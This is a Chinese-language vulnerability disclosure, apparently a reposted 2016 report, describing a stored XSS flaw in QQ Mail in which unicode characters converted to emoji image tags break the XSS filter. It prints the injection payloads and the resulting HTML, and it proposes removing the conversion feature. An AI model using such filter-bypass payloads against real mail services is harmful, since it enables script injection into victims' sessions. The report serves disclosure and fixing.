您的位置:首页 > 其它

腾讯邮箱邮件正文存储型漏洞

2016-01-25 16:18 288 查看
纯fuzzing,没有神奇的vector

详细说明:

root cause:

QQ邮箱会将邮件里出现的特殊unicode字符转成自家的图片导致xss过滤函数被绕过。

Ex:

code 区域
㊗

->

<img src="https://res.mail.qq.com/zh_CN/htmledition/images/emoji32/3297.png">


按照正常思路,如果我们对邮件正文进行如下的xss injection:

<style>Fuzzitup {}*{xss:expression(alert(document.domain))}</style>

我们只能得到这样的回报:

<style>.qmbox Fuzzitup {}.qmbox *{}</style>

但如果结合我们在上面提到的unicode转换问题,来巧妙的构造这样的vector:

code 区域
<style x="㊗" y="Fuzzitup {}*{xss:expression(alert(document.domain))}">


最终邮件会变成这样:

code 区域
<style x="<IMG src=" https:="" res.mail.qq.com="" zh_cn="" htmledition="" images="" emoji32="" 3297.png"="">" y="Fuzzitup {}*{xss:expression(alert(document.domain))}"></style>


被强制转换成图片的unicode字符 ㊗ 由于包含双引号和右肩括号,会在无意间提前闭合style标签,进而将原先的attribute y的值带入到style标签的innerHTML当中,导致XSS。

漏洞证明:

证明:





修复方案:

该poc暂时只能在ie7上复现。虽然poc有点鸡肋,不过这里最根本的问题是这种unicode转成图片的机制会干扰xss过滤函数的正常判断。所以我觉得大可以把这个功能去掉。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: